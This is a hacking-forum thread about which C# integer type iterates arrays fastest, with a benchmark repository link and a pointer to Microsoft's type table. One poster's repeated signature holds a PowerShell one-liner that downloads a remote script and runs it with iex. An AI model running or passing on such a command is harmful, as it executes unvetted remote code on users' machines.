Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

for loop benchmarking

Hello, was just wondering a bit about the best variable to use to iterate through an array.

https://github.com/NullFlex/benchmarking_forloops

I tried ulong, int, and uint.
ulong and uint beat int by a lot.
in smaller arrays, uint and ulong had a major advantage.
In bigger arrays, they had a slight advantage.
What really is the best variable for this job?
Not completely sure if my timing method is accurate though.
Depends on what kind of numbers you’re working with, each integral type allocates a different amount of memory. https://docs.microsoft.com/en-us/dotnet/...ypes-table
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Jul 3, 2018 06:09 PM)Nick (Name) Wrote:  Depends on what kind of numbers you’re working with, each integral type allocates a different amount of memory. https://docs.microsoft.com/en-us/dotnet/...ypes-table

Very nice, I was looking for a table like this.
I saw one for c++ a while ago.
(Jul 3, 2018 07:05 PM)int Wrote:  Very nice, I was looking for a table like this.
I saw one for c++ a while ago.

I live MSDN, great documentation for just about anything in the .NET Framework.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Java] by ohxerxeFeb 4, 2018 03:26 PM 3 304 Feb 4, 2018 03:26 PM
Last Post: matt
[Java] by prodigyhfSep 1, 2017 05:22 PM 0 223 Sep 1, 2017 05:22 PM
Last Post: prodigyhf
[C] by hackaquackAug 1, 2014 03:43 PM 15 347 Aug 1, 2014 03:43 PM
Last Post: Masm4ever